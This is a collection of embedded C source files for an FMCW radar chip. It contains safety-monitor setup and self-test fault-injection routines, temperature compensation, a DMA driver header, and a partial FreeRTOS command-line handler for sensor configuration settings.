EMBARC_PRINTF("reached sm cpu clock lock detector fault injection\n");
RADIO_MOD_BANK_REG(0, REFPLL_LDO1, LDO25_PLL_LDO_EN, 0x0);
UDELAY(50);
/* Fault Injection Restore */
RADIO_MOD_BANK_REG(0, REFPLL_LDO1, LDO25_PLL_LDO_EN, 0x1);
UDELAY(50);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/*
* This function is a basic setting of Safety Monitor: RF Power Detector
* freq : lock freq
* power_th : rf power lower threahold (min 5dBm)
* channel_index : 0/ 1/ 2/ 3/ -1(all channels)
*/
void fmcw_radio_sm_rfpower_detector_setting(fmcw_radio_t *radio, double freq, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* enter shadow bank */
fmcw_radio_loop_test_en(radio,true);
/* lock frequency */
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO3, LDO11_MMD_EN, 0x1);
fmcw_radio_single_tone(radio, freq, true);
/* leave shadow bank */
fmcw_radio_loop_test_en(radio,false);
/* disable over temperature detector, rf pdt will lead to wrong IRQ of temp det */
fmcw_radio_switch_bank(radio, 10);
int temp_det_status = RADIO_READ_BANK_REG_FIELD(10, ITF_IRQ_CTRL_5, TEMP_IRQ_RSTN);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, TEMP_IRQ_RSTN, 0x0);
/* enable auxadc2 */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, TPANA2, TPANA2_EN, 0x1);
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BUF_BYPASS, 0x0);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BUF_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BIAS_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_OP1_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_OP2_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_REFGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_VCMGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_RST, 0x1);
/* load trimming value from the corresponding eFuse address */
fmcw_radio_auxadc_trim(radio);
MDELAY(2);
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, TS_BG_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, TS_VPTAT_CAL, 0x4);
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, DTSDM_MUXIN_SEL, 0x3);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_RST, 0x0);
fmcw_radio_switch_bank(radio, 2);
RADIO_WRITE_BANK_REG(2, DC_FILTER2_RST_EN, 0x01);
MDELAY(2);
/* restore over temperature detector */
fmcw_radio_switch_bank(radio, 10);
if(temp_det_status) {
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, TEMP_IRQ_RSTN, 0x1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_CLEAR, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_TEST_START, 0x0);
}
/* set threshold of RF power detector timing */
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_TIME_CNT_1, 0x3F);
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_CTU_SIZE, 0x02);
/* enable RF power detector */
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_RSTN, 0x1);
/* set voltage high threashold */
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_TXVTH_HIGH_0, 0x00);
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_TXVTH_HIGH_1, 0x7C);
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_TXVTH_HIGH_2, 0x03);
/* enable TX monitor according to channel_index */
fmcw_radio_switch_bank(radio, 10);
switch (channel_index) {
case -1:
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_EN_1, 0x1);
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_EN_0, 0xE0);
break;
case 0:
RADIO_MOD_BANK_REG(10, RFPOWER_MONITOR_EN_1, TX0_EN, 0x1);
break;
case 1:
RADIO_MOD_BANK_REG(10, RFPOWER_MONITOR_EN_0, TX1_EN, 0x1);
break;
case 2:
RADIO_MOD_BANK_REG(10, RFPOWER_MONITOR_EN_0, TX2_EN, 0x1);
break;
case 3:
RADIO_MOD_BANK_REG(10, RFPOWER_MONITOR_EN_0, TX3_EN, 0x1);
break;
default:
break;
}
/* clear IRQ of rf power detector */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_2, ITF_RFPOWER_CLEAR, 0x1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_2, ITF_RFPOWER_CLEAR, 0x0);
/* start rf power detector */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_2, ITF_RFPOWER_TEST_START, 0x1);
MDELAY(1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_2, ITF_RFPOWER_TEST_START, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is threashold setting for Fault Injection of Safety Monitor: RF Power Detector */
void fmcw_radio_sm_rfpower_detector_fault_injection_threshold(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
/* set threashold for power on self test */
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_TXVTH_LOW_2, 0x3);
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is threashold setting for Safety Monitor: RF Power Detector */
void fmcw_radio_sm_rfpower_detector_threshold(fmcw_radio_t *radio, double freq, double power_th, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
uint32_t pa_on, doutL, doutM, doutH;
double cal_on, cal_off;
/* set threashold for monitoring */
/* enable 5M ADC clock */
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x1);
/* cal on */
fmcw_radio_pdt_reg(radio, 0, channel_index);
cal_on = fmcw_radio_auxadc2_dout(radio);
/* cal off */
fmcw_radio_pdt_reg(radio, 1, channel_index);
cal_off = fmcw_radio_auxadc2_dout(radio);
/* calculate pa on code */
pa_on = floor(fmcw_get_pa_dout(radio, cal_on, cal_off, channel_index, freq, power_th));
doutH = pa_on >> 16;
doutM = (pa_on >> 8) - (doutH << 8);
doutL = pa_on - (doutM << 8) - (doutH << 16) ;
/* set voltage low threashold */
fmcw_radio_switch_bank(radio, 10);
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_TXVTH_LOW_0, doutL);
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_TXVTH_LOW_1, doutM);
RADIO_WRITE_BANK_REG(10, RFPOWER_MONITOR_TXVTH_LOW_2, doutH);
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is a basic setting of Safety Monitor13: Chirp Monitor */
void fmcw_radio_sm_chirp_monitor_setting(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* enable Chirp Monitor */
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, CM_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO4, LDO11_CM_EN, 0x1);
/* enable Chirp Monitor IRQ */
fmcw_radio_switch_bank(radio, 10);
RADIO_MOD_BANK_REG(10, FM_CTRL_0, FM_TEST_EN, 0x1);
RADIO_MOD_BANK_REG(10, FM_CTRL_0, FM_RSTN, 0x1);
/* Reset Release for IRQ of Chirp Detector */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, FM_IRQ_RSTN, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, FM_IRQ_RSTN, 0x1);
/* Clear IRQ of Chirp Detector */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, ITF_FM_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, ITF_FM_CLEAR, 0x0);
/* Start IRQ of Chirp Detector */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, ITF_FM_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, ITF_FM_TEST_START, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_sm_chirp_monitor_fault_injection(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
/* power on self test */
if (fault_injection){
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x0);
EMBARC_PRINTF("reached sm chirp monitor fault injection\n");
}
/* fault injection restore */
else{
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x1);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is a basic setting of Safety Monitor14: Over Temperature Detector */
void fmcw_radio_sm_over_temp_detector_setting(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
/* get temperature */
fmcw_radio_get_temperature(radio);
/* enable 5M AUXADC CLK */
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x1);
/* Enable Over Temperature Detector */
fmcw_radio_switch_bank(radio, 10);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, TEMP_IRQ_RSTN, 0x1);
/* Clear IRQ of Over Temp Detector */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_CLEAR, 0x0);
/* Trigger rising edge of Over Temp Detector */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_TEST_START, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is the threashold setting of Safety Monitor: Over Temperature Detector */
void fmcw_radio_sm_over_temp_detector_threshold(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
/* power on self test */
if (fault_injection){
/* set 125C AUXADC2 Ref Code as 0 to Threadshold */
RADIO_WRITE_BANK_REG(10, TEMP_MONITOR_VTH_HIGH_2, 0x00);
RADIO_WRITE_BANK_REG(10, TEMP_MONITOR_VTH_HIGH_1, 0x00);
RADIO_WRITE_BANK_REG(10, TEMP_MONITOR_VTH_HIGH_0, 0x00);
EMBARC_PRINTF("reached sm over temperature detector fault injection\n");
}
else{
/* send 125C AUXADC2 Ref Code 0x01A61A to Threadshold */
RADIO_WRITE_BANK_REG(10, TEMP_MONITOR_VTH_HIGH_2, 0x01);
RADIO_WRITE_BANK_REG(10, TEMP_MONITOR_VTH_HIGH_1, 0xA6);
RADIO_WRITE_BANK_REG(10, TEMP_MONITOR_VTH_HIGH_0, 0x1A);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function provide RF compensation code vs Junction Temp>55C, 10C/step */
float fmcw_radio_rf_comp_code(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
int ch, array_pos;
float temp;
/* get desired temperature and compensation code arrays */
int temp_sel[9] = {50, 60, 70, 80, 90, 100, 110, 120, 130};
int lomain_code[9] = {4, 4, 4, 6, 6, 6, 6, 6, 6};
int txlo_code[9] = {4, 4, 5, 6, 6, 6, 6, 6, 6};
int rxlo_code[9] = {4, 5, 6, 7, 7, 7, 7, 7, 7};
int rx_code[9] = {4, 4, 4, 4, 5, 5, 5, 5, 5};
int tx_code[9] = {4, 4, 4, 4, 4, 5, 5, 5, 5};
int pa_code[9] = {0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xc, 0xd, 0xd};
/* get temperature */
temp = fmcw_radio_get_temperature(radio);
/* round temperture to 10C/step */
int junc_temp = round(temp / 10.0) * 10;
if (junc_temp <= 50) {
/* if junction temperature < 50C, keep default code */
array_pos = 0;
} else if (junc_temp >= 130) {
/* if junction temperature >= 130C, set maximum code */
array_pos = 8;
} else {
/* if 60C < junction temperature < 130C, set code according to array */
for (array_pos = 1; array_pos < 8; array_pos++) {
if (temp_sel[array_pos] == junc_temp)
break;
}
}
/* apply compensation code */
RADIO_MOD_BANK_REG(0, LO_LDO0, LDO11_LOMAINPATH_VOUT_SEL, lomain_code[array_pos]);
RADIO_MOD_BANK_REG(0, LO_LDO2, LDO11_TXLO_VOUT_SEL, txlo_code[array_pos]);
RADIO_MOD_BANK_REG(0, LO_LDO3, LDO11_RXLO_VOUT_SEL, rxlo_code[array_pos]);
RADIO_MOD_BANK_REG(0, RX_LDO0, LDO11_RFN_VOUT_SEL, rx_code[array_pos]);
RADIO_MOD_BANK_REG(0, RX_LDO1, LDO11_RFS_VOUT_SEL, rx_code[array_pos]);
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, TX_LDO0, LDO11_TX0_VOUT_SEL, tx_code[array_pos]);
RADIO_MOD_BANK_REG(1, TX_LDO1, LDO11_TX1_VOUT_SEL, tx_code[array_pos]);
RADIO_MOD_BANK_REG(1, TX_LDO2, LDO11_TX2_VOUT_SEL, tx_code[array_pos]);
RADIO_MOD_BANK_REG(1, TX_LDO3, LDO11_TX3_VOUT_SEL, tx_code[array_pos]);
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(1, ch, PA_LDO, LDO11_TX_PA_VOUT_SEL, pa_code[array_pos]);
fmcw_radio_switch_bank(radio, old_bank);
return temp;
}
uint32_t* fmcw_doppler_move(fmcw_radio_t *radio)
{
static uint32_t doppler_move_opt[4];
uint32_t step_down_opt,down_cycle_opt,wait_cycle_opt,T_dn_test;
uint32_t bits_frac = 28;
uint32_t bits_frac_shift = 1 << bits_frac;
uint32_t T_dn_opt = 0;
uint32_t T_up = radio->up_cycle;
uint32_t T_dn = radio->down_cycle;
uint32_t T_idle = radio->cnt_wait;
uint32_t T_dn_begin = T_dn;
double FL_dec_final = (1.0 * radio->start_freq) / bits_frac_shift;
double FH_dec_final = (1.0 * radio->stop_freq) / bits_frac_shift;
double Fstep_up_dec_final = (1.0 * radio->step_up) / bits_frac_shift;
double Fstep_dn_dec_final = (1.0 * radio->step_down) / bits_frac_shift;
double cal_acc1, acc1, acc1_err;
double err_min = 1;
doppler_move_opt[0] = 0;
/* get doppler spur acc1 value */
cal_acc1 = (T_up) * FL_dec_final + (T_up-1) * (T_up) / 2 * Fstep_up_dec_final +
(T_dn) * FH_dec_final - (T_dn-1) * (T_dn) / 2 * Fstep_dn_dec_final +
FL_dec_final * (T_idle-T_dn);
acc1 = cal_acc1 - floor(cal_acc1);
for (T_dn_test = T_dn_begin; T_dn_test < T_idle; T_dn_test++) {
Fstep_dn_dec_final = floor((FH_dec_final - FL_dec_final) / T_dn_test * bits_frac_shift) / bits_frac_shift;
T_dn = ceil((FH_dec_final-FL_dec_final) / Fstep_dn_dec_final);
/* Estimate doppler position */
cal_acc1 = (T_up) * FL_dec_final + (T_up-1) * (T_up) / 2 * Fstep_up_dec_final +
(T_dn) * FH_dec_final - (T_dn-1) * (T_dn) / 2 * Fstep_dn_dec_final +
FL_dec_final * (T_idle-T_dn);
acc1 = cal_acc1 - floor(cal_acc1);
if(acc1<0.5) {
acc1_err = fabs(acc1-0.25);
} else {
acc1_err = fabs(acc1-0.75);
}
if(acc1_err < err_min) {
err_min = acc1_err;
T_dn_opt = T_dn_test;
doppler_move_opt[0] = 1;
}
}
Fstep_dn_dec_final = floor((FH_dec_final - FL_dec_final) / T_dn_opt* bits_frac_shift) / bits_frac_shift;
step_down_opt = floor(Fstep_dn_dec_final * bits_frac_shift);
T_dn = ceil((FH_dec_final-FL_dec_final) / Fstep_dn_dec_final);
down_cycle_opt = T_dn;
wait_cycle_opt = radio->cnt_wait - down_cycle_opt;
doppler_move_opt[1] = step_down_opt;
doppler_move_opt[2] = down_cycle_opt;
doppler_move_opt[3] = wait_cycle_opt;
return doppler_move_opt;
}
<file_sep>#ifndef _DMA_HAL_H_
#define _DMA_HAL_H_
#include "arc_exception.h"
enum hs_select {
HS_SELECT_HW = 0,
HS_SELECT_SW,
HS_SELECT_INVALID
};
enum dma_channel_id {
DMA_CHN_0 = 0,
DMA_CHN_1,
DMA_CHN_2,
DMA_CHN_3,
DMA_CHN_4,
DMA_CHN_5,
DMA_CHN_6,
DMA_CHN_7
};
enum dma_transfer_type {
MEM_TO_MEM = 0,
MEM_TO_PERI,
PERI_TO_MEM,
PERI_TO_PERI,
TRANS_TYPE_INVALID
};
enum dma_burst_length {
BURST_LEN1 = 0,
BURST_LEN4,
BURST_LEN8,
BURST_LEN16,
BURST_LEN32,
BURST_LEN64,
BURST_LEN128,
BURST_LEN256,
BURST_LEN_INVALID
};
enum dma_address_mode {
ADDRESS_INCREMENT = 0,
ADDRESS_DECREMENT,
ADDRESS_FIXED,
ADDRESS_FIXED_1,
ADDRESS_MODE_INVALID
};
enum dma_chn_priority {
DMA_CHN_PRIOR_0 = 0,
DMA_CHN_PRIOR_MIN = DMA_CHN_PRIOR_0,
DMA_CHN_PRIOR_1,
DMA_CHN_PRIOR_2,
DMA_CHN_PRIOR_3,
DMA_CHN_PRIOR_4,
DMA_CHN_PRIOR_5,
DMA_CHN_PRIOR_6,
DMA_CHN_PRIOR_7,
DMA_CHN_PRIOR_MAX = DMA_CHN_PRIOR_7,
DMA_CHN_PEIOR_INVALID
};
enum dma_channel_status {
DMA_CHN_IDLE = 0,
DMA_CHN_ALLOC,
DMA_CHN_INIT,
DMA_CHN_BUSY,
DMA_CHN_ERR,
DMA_CHN_SUSPEND
};
enum dma_int_type {
INT_TYPE_TRANSFER_COMPLETED = 0,
INT_TYPE_BLOCK_COMPLETED,
INT_TYPE_SRC_TRANSACTION_COMPLETED,
INT_TYPE_DST_TRANSACTION_COMPLETED,
INT_TYPE_ERR,
INT_TYPE_MAX,
};
#define DMA_LLP_CNT_MAX (35)
typedef struct dma_llp_descriptor {
uint32_t sar;
uint32_t dar;
uint32_t next;
uint32_t lctrl;
uint32_t hctrl;
/*
uint32_t sstat;
uint32_t dstat;
*/
} dma_llp_desc_t;
typedef struct dma_chn_source {
/* ctrl. */
//uint8_t llp_en;
//uint8_t gather_en;
/* msize: not for user. */
enum dma_burst_length burst_tran_len;
/* sinc. */
enum dma_address_mode addr_mode;
/* cfg. */
uint8_t hw_if;
uint8_t sts_upd_en;
//uint8_t reload;
//hw_if_pol;
/* hw_hs_sel. */
enum hs_select hs;
uint32_t addr;
uint32_t sts_addr;
uint32_t gather_iv;
uint32_t gather_cnt;
} dma_chn_src_t;
typedef struct dma_chn_destination {
/* ctrl. */
//uint8_t llp_en;
//uint8_t scatter_en;
/* msize: not for user. */
enum dma_burst_length burst_tran_len;
/* dinc. */
enum dma_address_mode addr_mode;
/* cfg. */
uint8_t hw_if;
uint8_t sts_upd_en;
//uint8_t reload;
//hw_if_pol;
/* hw_hs_sel. */
enum hs_select hs;
uint32_t addr;
uint32_t sts_addr;
uint32_t scatter_iv;
uint32_t scatter_cnt;
} dma_chn_dst_t;
typedef struct dma_transfer_description {
//uint8_t work_mode;
/* ctrl. */
/* block_ts. */
//uint32_t block_transfer_size;
/* tt_fc: M2M, M2P, P2M, P2P. */
enum dma_transfer_type transfer_type;
//int_en;
/* cfg. */
/* priority. */
enum dma_chn_priority priority;
dma_chn_src_t src_desc;
dma_chn_dst_t dst_desc;
uint32_t block_transfer_size;
} dma_trans_desc_t;
typedef void (*dma_chn_callback)(void *parameter);
typedef struct dma_channel {
uint8_t chn_id;
enum dma_channel_status status;
uint8_t work_mode;
dma_trans_desc_t desc;
volatile dma_llp_desc_t llp[DMA_LLP_CNT_MAX];
dma_chn_callback callback;
} dma_channel_t;
int32_t dma_init(void);
int32_t dma_transfer(dma_trans_desc_t *desc, dma_chn_callback func);
int32_t dma_memcopy(uint32_t *dst, uint32_t *src, uint32_t len);
int32_t dma_user_memcopy(uint32_t *dst, uint32_t *src, uint32_t len, dma_chn_callback func);
int32_t dma_apply_channel(void);
int32_t dma_config_channel(uint32_t chn_id, dma_trans_desc_t *desc, uint32_t int_flag);
int32_t dma_start_channel(uint32_t chn_id, dma_chn_callback func);
int32_t dma_release_channel(uint32_t chn_id);
typedef enum {
DMA_SRC_NR_NG_NLLP_DST_NR_NS_NLLP = 0,
DMA_SRC_NR_NG_NLLP_DST_NR_NS_LLP,
DMA_SRC_NR_NG_NLLP_DST_NR_S_NLLP,
DMA_SRC_NR_NG_NLLP_DST_NR_S_LLP,
DMA_SRC_NR_NG_NLLP_DST_R_NS_NLLP,
/* not supported. */
//DMA_SRC_NR_NG_NLLP_DST_R_NS_LLP,
//DMA_SRC_NR_NG_NLLP_DST_R_S_NLLP,
//DMA_SRC_NR_NG_NLLP_DST_R_S_LLP,
DMA_SRC_NR_NG_LLP_DST_NR_NS_NLLP = 0x8,
DMA_SRC_NR_NG_LLP_DST_NR_NS_LLP,
DMA_SRC_NR_NG_LLP_DST_NR_S_NLLP,
DMA_SRC_NR_NG_LLP_DST_NR_S_LLP,
DMA_SRC_NR_NG_LLP_DST_R_NS_NLLP,
/* not supported. */
//DMA_SRC_NR_NG_LLP_DST_R_NS_LLP,
//DMA_SRC_NR_NG_LLP_DST_R_S_NLLP,
//DMA_SRC_NR_NG_LLP_DST_R_S_LLP,
DMA_SRC_NR_G_NLLP_DST_NR_NS_NLLP = 0x10,
DMA_SRC_NR_G_NLLP_DST_NR_NS_LLP,
DMA_SRC_NR_G_NLLP_DST_NR_S_NLLP,
DMA_SRC_NR_G_NLLP_DST_NR_S_LLP,
DMA_SRC_NR_G_NLLP_DST_R_NS_NLLP,
/* not supported. */
//DMA_SRC_NR_G_NLLP_DST_R_NS_LLP,
//DMA_SRC_NR_G_NLLP_DST_R_S_NLLP,
//DMA_SRC_NR_G_NLLP_DST_R_S_LLP,
DMA_SRC_NR_G_LLP_DST_NR_NS_NLLP = 0x18,
DMA_SRC_NR_G_LLP_DST_NR_NS_LLP,
DMA_SRC_NR_G_LLP_DST_NR_S_NLLP,
DMA_SRC_NR_G_LLP_DST_NR_S_LLP,
DMA_SRC_NR_G_LLP_DST_R_NS_NLLP,
/* not supported. */
//DMA_SRC_NR_G_LLP_DST_R_NS_LLP,
//DMA_SRC_NR_G_LLP_DST_R_S_NLLP,
//DMA_SRC_NR_G_LLP_DST_R_S_LLP,
DMA_SRC_R_NG_NLLP_DST_NR_NS_NLLP = 0x20,
DMA_SRC_R_NG_NLLP_DST_NR_NS_LLP,
DMA_SRC_R_NG_NLLP_DST_NR_S_NLLP,
DMA_SRC_R_NG_NLLP_DST_NR_S_LLP,
DMA_SRC_R_NG_NLLP_DST_R_NS_NLLP,
/* not supported. */
//DMA_SRC_R_NG_NLLP_DST_R_NS_LLP,
//DMA_SRC_R_NG_NLLP_DST_R_S_NLLP,
//DMA_SRC_R_NG_NLLP_DST_R_S_LLP,
DMA_SRC_R_NG_LLP_DST_NR_NS_NLLP = 0x28,
DMA_SRC_R_NG_LLP_DST_NR_NS_LLP,
DMA_SRC_R_NG_LLP_DST_NR_S_NLLP,
DMA_SRC_R_NG_LLP_DST_NR_S_LLP,
DMA_SRC_R_NG_LLP_DST_R_NS_NLLP,
/* not supported. */
//DMA_SRC_R_NG_LLP_DST_R_NS_LLP,
//DMA_SRC_R_NG_LLP_DST_R_S_NLLP,
//DMA_SRC_R_NG_LLP_DST_R_S_LLP,
#if 0
DMA_SRC_NR_G_LLP_DST_NR_NS_NLLP = 0x30,
DMA_SRC_NR_G_LLP_DST_NR_NS_LLP,
DMA_SRC_NR_G_LLP_DST_NR_S_NLLP,
DMA_SRC_NR_G_LLP_DST_NR_S_LLP,
DMA_SRC_NR_G_LLP_DST_R_NS_NLLP,
DMA_SRC_NR_G_LLP_DST_R_NS_LLP,
DMA_SRC_NR_G_LLP_DST_R_S_NLLP,
DMA_SRC_NR_G_LLP_DST_R_S_LLP,
DMA_SRC_R_G_LLP_DST_NR_NS_NLLP,
DMA_SRC_R_G_LLP_DST_NR_NS_LLP,
DMA_SRC_R_G_LLP_DST_NR_S_NLLP,
DMA_SRC_R_G_LLP_DST_NR_S_LLP,
DMA_SRC_R_G_LLP_DST_R_NS_NLLP,
DMA_SRC_R_G_LLP_DST_R_NS_LLP,
DMA_SRC_R_G_LLP_DST_R_S_NLLP,
DMA_SRC_R_G_LLP_DST_R_S_LLP
#endif
DMA_WORK_MODE_INVALID
} dma_work_mode_t;
#endif
<file_sep>
const char *param1, *param2;
BaseType_t len1, len2;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
sensor_config_t *cfg;
if (param1 != NULL) {
cfg = sensor_config_get_cur_cfg();
if (strncmp(param1, "fmcw_startfreq", len1) == 0) {
if (param2 != NULL)
cfg->fmcw_startfreq = (double) strtod(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_startfreq = %.4f\n\r", cfg->fmcw_startfreq);
return pdFALSE;
}
if (strncmp(param1, "fmcw_bandwidth", len1) == 0) {
if (param2 != NULL)
cfg->fmcw_bandwidth = (double) strtod(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_bandwidth = %.4f\n\r", cfg->fmcw_bandwidth);
return pdFALSE;
}
if (strncmp(param1, "fmcw_chirp_rampup", len1) == 0) {
if (param2 != NULL)
cfg->fmcw_chirp_rampup = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_chirp_rampup = %.4f\n\r", cfg->fmcw_chirp_rampup);
return pdFALSE;
}
if (strncmp(param1, "fmcw_chirp_down", len1) == 0) {
if (param2 != NULL)
cfg->fmcw_chirp_down = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_chirp_down = %.4f\n\r", cfg->fmcw_chirp_down);
return pdFALSE;
}
if (strncmp(param1, "fmcw_chirp_period", len1) == 0) {
if (param2 != NULL)
cfg->fmcw_chirp_period = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_chirp_period = %.4f\n\r", cfg->fmcw_chirp_period);
return pdFALSE;
}
if (strncmp(param1, "nchirp", len1) == 0) {
if (param2 != NULL)
cfg->nchirp = (int32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "nchirp = %d\n\r", cfg->nchirp);
return pdFALSE;
}
if (strncmp(param1, "adc_freq", len1) == 0) {
if (param2 != NULL)
cfg->adc_freq = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "adc_freq = %u\n\r", cfg->adc_freq);
return pdFALSE;
}
if (strncmp(param1, "dec_factor", len1) == 0) {
if (param2 != NULL)
cfg->dec_factor = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "dec_factor = %u\n\r", cfg->dec_factor);
return pdFALSE;
}
if (strncmp(param1, "adc_sample_start", len1) == 0) {
if (param2 != NULL)
cfg->adc_sample_start = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "adc_sample_start = %.4f\n\r", cfg->adc_sample_start);
return pdFALSE;
}
if (strncmp(param1, "adc_sample_end", len1) == 0) {
if (param2 != NULL)
cfg->adc_sample_end = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "adc_sample_end = %.4f\n\r", cfg->adc_sample_end);
return pdFALSE;
}
if (strncmp(param1, "tx_groups", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < MAX_NUM_TX) {
cfg->tx_groups[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "tx_groups = [");
for(cnt = 0; cnt < MAX_NUM_TX; cnt++) {
if (cnt != MAX_NUM_TX - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->tx_groups[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->tx_groups[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "rng_win", len1) == 0) {
if (param2 != NULL)
snprintf(cfg->rng_win, MIN(len2, 16-1)+1, "%s", param2);
snprintf(pcWriteBuffer, xWriteBufferLen, "rng_win = %s\n\r", cfg->rng_win);
